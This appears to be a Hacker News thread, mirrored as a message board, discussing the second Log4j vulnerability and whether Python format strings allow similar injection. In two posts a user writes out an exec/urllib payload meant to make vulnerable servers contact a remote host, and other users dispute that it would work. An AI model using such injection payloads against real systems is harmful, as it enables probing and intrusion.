Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4Shell update: second Log4j vulnerability published

lunasec.io

Post reply on HN
Print view View original

141–150 of 289 posts

Re: Log4Shell update: second Log4j vulnerability published

#141

Post by Sitio »

staticassertion wrote: post #110
freeqaz wrote: post #45

Earlier quoted context omitted.

That's definitely very fair! You could throw it into the constructor of your app right after you init log4j, at least. I've been surprised (and horrified) to learn that there are companies out there that _can't reboot their servers_ because they simply don't know how to bring the app back up. For them... live patching is the only options. Blows my mind, but that's reality (apparently)!

Server uptime used to be a point of pride. Now people try to shut them down as often as they can. Funny how things change.

My server had 80kbyte bandwidth and doing very little in a much slower time.

Kernel patches were not on top of my head 15 years ago.

Re: Log4Shell update: second Log4j vulnerability published

#142

Post by _flux »

Quekid5 wrote: post #130
staticassertion wrote: post #118

Earlier quoted context omitted.

Can you elaborate? I don't see how you would exploit Python with a string like that unless there's an `eval` somewhere in Python's logger? I wouldn't exactly put it past the language, for sure, but I'm not aware of that being the case. The reason this works in the java library is that the library explicitly adds functionality to evaluate the strings that are passed in, and has a meta-language for computing based on t…

Python 3.10.1 (main, Dec 11 2021, 17:22:55) [GCC 11.1.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> print(f"""{print("hello")}""") hello None So Python runs the expression in { } and interpolates the result into the string. Presumably the { } has access to anything that's in scope. (I'm not quite sure how common patterns are, but I assume the person is replying to is imagining…

You may find that actually making this code to use data from user-provided data will make the code look quite unnatural and I doubt it would be accidentally written.

For example:

    >>> user_data='{print("helo"}}'
    >>> print(user_data)
    {print("helo"}}
    >>> print(f"{user_data}")
    {print("helo"}}
    >>> print(f"user_data")
    user_data
    >>> print(user_data.format())
    Traceback (most recent call last):
      File "", line 1, in 
    KeyError: 'print("helo"'
Maybe there's some other way to express this bug?

Re: Log4Shell update: second Log4j vulnerability published

#143

Post by nefitty »

kubanczyk wrote: post #119
shakna wrote: post #95

Earlier quoted context omitted.

I've helped out orgs where they had a listing of servers, but couldn't tell me what purpose, if any, they served. You have multiple entire architecture rebuilds, deprecating various parts, whilst people come and go and take their knowledge with them leaving documentation behind that is outdated enough to be more harmful than helpful. Reality is a messy thing.

Usually there is no universal way to find the latest version of internal documentation across teams, hence updating such documentation is barely worth the time. People notice the fact.

In your mind, do hosted wikis and KBs like Stack Exchange, Wikimedia or Confluence address the discovery problem? If not, is there anything close?

Re: Log4Shell update: second Log4j vulnerability published

#144

Post by oneweekwonder »

staticassertion wrote: post #118
oneweekwonder wrote: post #102

Earlier quoted context omitted.

Played around with python for a similar attack and while it needs import and usage of f-string's i was rather taken back how easy it would be to spam the internet with `f"""{exec("import urllib.request;urllib.request.urlopen(' http://localhost:8000').read ()")}"""` and variants, see what servers bite and then try to send them a more potent attack. So i personally believe log4sh type attacks across languages will beco…

Can you elaborate? I don't see how you would exploit Python with a string like that unless there's an `eval` somewhere in Python's logger? I wouldn't exactly put it past the language, for sure, but I'm not aware of that being the case. The reason this works in the java library is that the library explicitly adds functionality to evaluate the strings that are passed in, and has a meta-language for computing based on t…

The author of flask(and a lot more python stuff) goes a bit into detail here[0].

And as pointed out by another commenter my scenario is imaginary because user input needs to be passed to a f-strings. But I did update my original example with a tested `exec` because then you can import modules.

I do see my imaginary attack as low effort for a grey- or black-hat to automate and weaponize.

As mentioned/asked by parent, will we see mini renaissance of format string vulnerabilities, and I believe the answer is yes.

[0]: https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/

Re: Log4Shell update: second Log4j vulnerability published

#145

Post by baobabKoodaa »

stef25 wrote: post #109
NaturalPhallacy wrote: post #61

Earlier quoted context omitted.

There's no good reason to do elections on anything other than paper.

If there's no way to build secure software that tallies digits then why are we even here?

If there was no requirement for vote secrecy, it would be easy. The conflicting requirements between verifiability of results and secrecy of the vote is what makes it hard. I wrote more about this here: https://www.attejuvonen.fi/thesis/

Re: Log4Shell update: second Log4j vulnerability published

#146

Post by karmasimida »

nyanpasu64 wrote: post #43

> Log4j 2.16.0 completely mitigates this issue by removing support for message lookup patterns and disabling JNDI functionality by default. I think this should've happened from the beginning.

No offense to the log4j devs.

But I am wondering from a developer's perspective, it should be the first thing to do in my opinion.

Re: Log4Shell update: second Log4j vulnerability published

#147

Post by oneweekwonder »

detaro wrote: post #132
Quekid5 wrote: post #130

Earlier quoted context omitted.

Python 3.10.1 (main, Dec 11 2021, 17:22:55) [GCC 11.1.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> print(f"""{print("hello")}""") hello None So Python runs the expression in { } and interpolates the result into the string. Presumably the { } has access to anything that's in scope. (I'm not quite sure how common patterns are, but I assume the person is replying to is imagining…

This is no more a vulnerability than that >>> x=5 >>> print(x) has access to X. A problem if, as parent asks, > there's an `eval` somewhere in Python's logger

In my hypothetical scenario im not targeting the python logger but rather `''.format()` and f-strings that parse user input naively. A lot of people on /r/ mentions that they started to get '${jndi:...' in their server logs.

So malicious actors is already shotgunning the log4sh attack so what stop them from spamming `{exec("import urllib.request;urllib.request.urlopen('http://example.com').read()")}` and see what stick.

While my example is for python im sure other languages will have similar issues and we will see a rise in format string attacks.

Re: Log4Shell update: second Log4j vulnerability published

#148

Post by detaro »

oneweekwonder wrote: post #147
detaro wrote: post #132

Earlier quoted context omitted.

This is no more a vulnerability than that >>> x=5 >>> print(x) has access to X. A problem if, as parent asks, > there's an `eval` somewhere in Python's logger

In my hypothetical scenario im not targeting the python logger but rather `''.format()` and f-strings that parse user input naively. A lot of people on /r/ mentions that they started to get '${jndi:...' in their server logs. So malicious actors is already shotgunning the log4sh attack so what stop them from spamming `{exec("import urllib.request;urllib.request.urlopen(' http://example.com').read ()")}` and see what s…

f-strings don't "parse user input". .format doesn't have access to objects not explicitly provided to the call, and can't call functions. So again, how do you intend to trigger any of this if not through a hypothetical logger that uses eval?

Re: Log4Shell update: second Log4j vulnerability published

#149

Post by contravariant »

NavinF wrote: post #87
cube00 wrote: post #35

Earlier quoted context omitted.

This why I've given up and just pay to host anything external to scratch my self hosting itch. If they somehow manage to get in at least they won't be roaming around inside my home network. The flood of failed auth attempts and weird looking strings being sent to my web server is never ending. It might be something worth reconsidering once the world is on IPv6 and we have proper subnetting we can use at home.

> If they somehow manage to get in at least they won't be roaming around inside my home network. I mean if that’s your only concern, it’s pretty easy to run Minecraft in a docker container that’s only allowed to accept inbound connections and to make outbound connections to the internet (or more specifically to the Mojang auth server)

Not sure I'd feel safe hosting a docker container running malicious code.
Post reply on HN